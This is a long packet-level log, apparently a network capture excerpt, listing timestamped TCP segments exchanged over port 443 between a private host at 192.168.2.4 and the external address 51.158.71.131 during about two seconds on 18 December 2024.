Dec 18, 2024 08:46:18.454062939 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.457581043 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.457658052 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.460396051 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.460459948 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.463344097 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.463414907 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.466144085 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.466237068 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.469836950 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.469909906 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.472625971 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.472697973 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.475941896 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.476015091 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.478822947 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.478889942 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.481791973 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.481880903 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.485439062 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.485515118 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.522819042 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.522927999 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.522941113 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.522972107 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.523011923 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.523055077 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.635298014 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.635425091 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.638645887 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.638742924 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.641247988 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.641340017 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.644309998 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.644391060 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.646981001 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.647061110 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.650616884 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.650687933 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.653676033 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.653769970 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.656393051 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.656476974 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.660037994 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.660115004 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.662848949 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.662951946 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.665781021 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.665874958 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.668994904 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.669084072 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.671936035 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.672033072 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.674892902 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.674982071 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.678355932 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.678456068 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.713119984 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.713224888 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.716029882 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.716120005 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.829129934 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.829261065 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.831696033 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.831792116 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.834640980 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.834752083 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.837455034 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.837552071 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.841073990 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.841167927 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.843902111 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.844011068 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.846894979 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.846983910 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.849674940 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.849793911 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.853295088 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.853374958 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.856178045 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.856287956 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.859436989 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.859541893 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.862386942 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.862466097 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.865245104 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.865351915 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.868879080 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.868957996 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.902590036 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.902689934 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:18.906265020 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:18.906363964 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.018505096 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.018618107 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.022000074 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.022093058 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.024873972 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.024957895 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.027775049 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.027859926 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.031477928 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.031692028 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.034235954 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.034324884 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.037167072 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.037250042 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.039969921 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.040052891 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.043661118 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.043735981 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.046586037 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.046696901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.049773932 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.049853086 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.052537918 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.052614927 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.055531025 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.055639982 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.059135914 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.059242010 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.093425989 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.093552113 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.096688986 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.096839905 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.209008932 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.209170103 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.212208986 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.212340117 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.215015888 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.215131998 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.218214989 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.218333960 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.220786095 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.220876932 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.224461079 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.224534035 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.227272987 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.227335930 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.230201960 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.230268955 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.233830929 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.233917952 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.236720085 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.236793995 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.239568949 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.239644051 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.242775917 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.242851019 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.245791912 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.245867968 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.248640060 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.248797894 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.252146959 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.252226114 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.286067963 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.286148071 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.289737940 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.289809942 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.401648045 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.401736021 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.405332088 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.405407906 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.408139944 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.408226013 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.411741972 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.411910057 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.414750099 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.414829016 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.417412996 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.417490005 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.420372009 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.420454979 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.423177958 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.423260927 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.426908016 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.426979065 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.429637909 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.429708004 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.432945967 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.433022022 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.435931921 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.436003923 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.438736916 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.438808918 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.442370892 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.442441940 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.476627111 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.476716042 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.480338097 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.480420113 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.591912031 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.592001915 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.595488071 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.595582008 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.598195076 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.598277092 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.601160049 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.601258993 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.604003906 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.604083061 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.607585907 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.607686043 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.610563993 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.610661983 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.613442898 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.613522053 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.617027044 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.617110014 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.619797945 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.619878054 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.623191118 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.623267889 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.625890017 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.625991106 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.628901005 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.628985882 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.631726027 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.631802082 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.667350054 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.667478085 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.670459986 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.670558929 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.782589912 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.782705069 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.785629988 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.785825968 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.788453102 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.788547993 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.791423082 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.791523933 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.794193029 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.794275045 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.797908068 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.798058033 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.800797939 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.800909042 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.803658009 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.803829908 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.806379080 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.806492090 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.810018063 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.810139894 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.812995911 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.813117981 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.816159010 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.816279888 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.819083929 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.819209099 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.821898937 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.822058916 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.825535059 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.825647116 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.860956907 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.861057997 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.863656044 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.863770962 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.975964069 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.976106882 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.979480028 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.979573011 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.982116938 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.982198000 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.985188007 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.985261917 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.988847971 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.988945007 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.991852999 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.991930962 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.994612932 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.994693041 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:19.996601105 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:19.996681929 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.000231981 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.000310898 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.003151894 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.003242016 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.006443977 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.006527901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.009154081 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.009229898 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.012120962 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.012198925 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.015713930 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.015793085 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.050380945 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.050492048 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.053919077 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.054023981 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.165374041 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.165518045 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.169033051 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.169145107 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.171785116 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.171890020 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.174959898 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.175156116 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.177607059 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.177702904 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.181226969 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.181329966 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.184299946 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.184385061 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.187114954 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.187208891 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.190629959 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.190737009 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.193453074 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.193558931 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.196788073 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.196882963 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.199773073 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.199855089 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.202528954 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.202604055 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.205256939 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.205360889 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.209800005 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.209912062 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.241111040 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.241244078 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.243853092 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.243942022 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.356086016 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.356211901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.358654022 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.358736992 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.361594915 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.361694098 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.365200996 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.365305901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.368009090 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.368079901 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.370970964 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.371053934 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.373769045 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.373842001 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.377405882 CET	443	49730	51.158.71.131	192.168.2.4
Dec 18, 2024 08:46:20.377521038 CET	49730	443	192.168.2.4	51.158.71.131
Dec 18, 2024 08:46:20.380383968 CET	443	49730	51.158.71.131	192.168.2.4
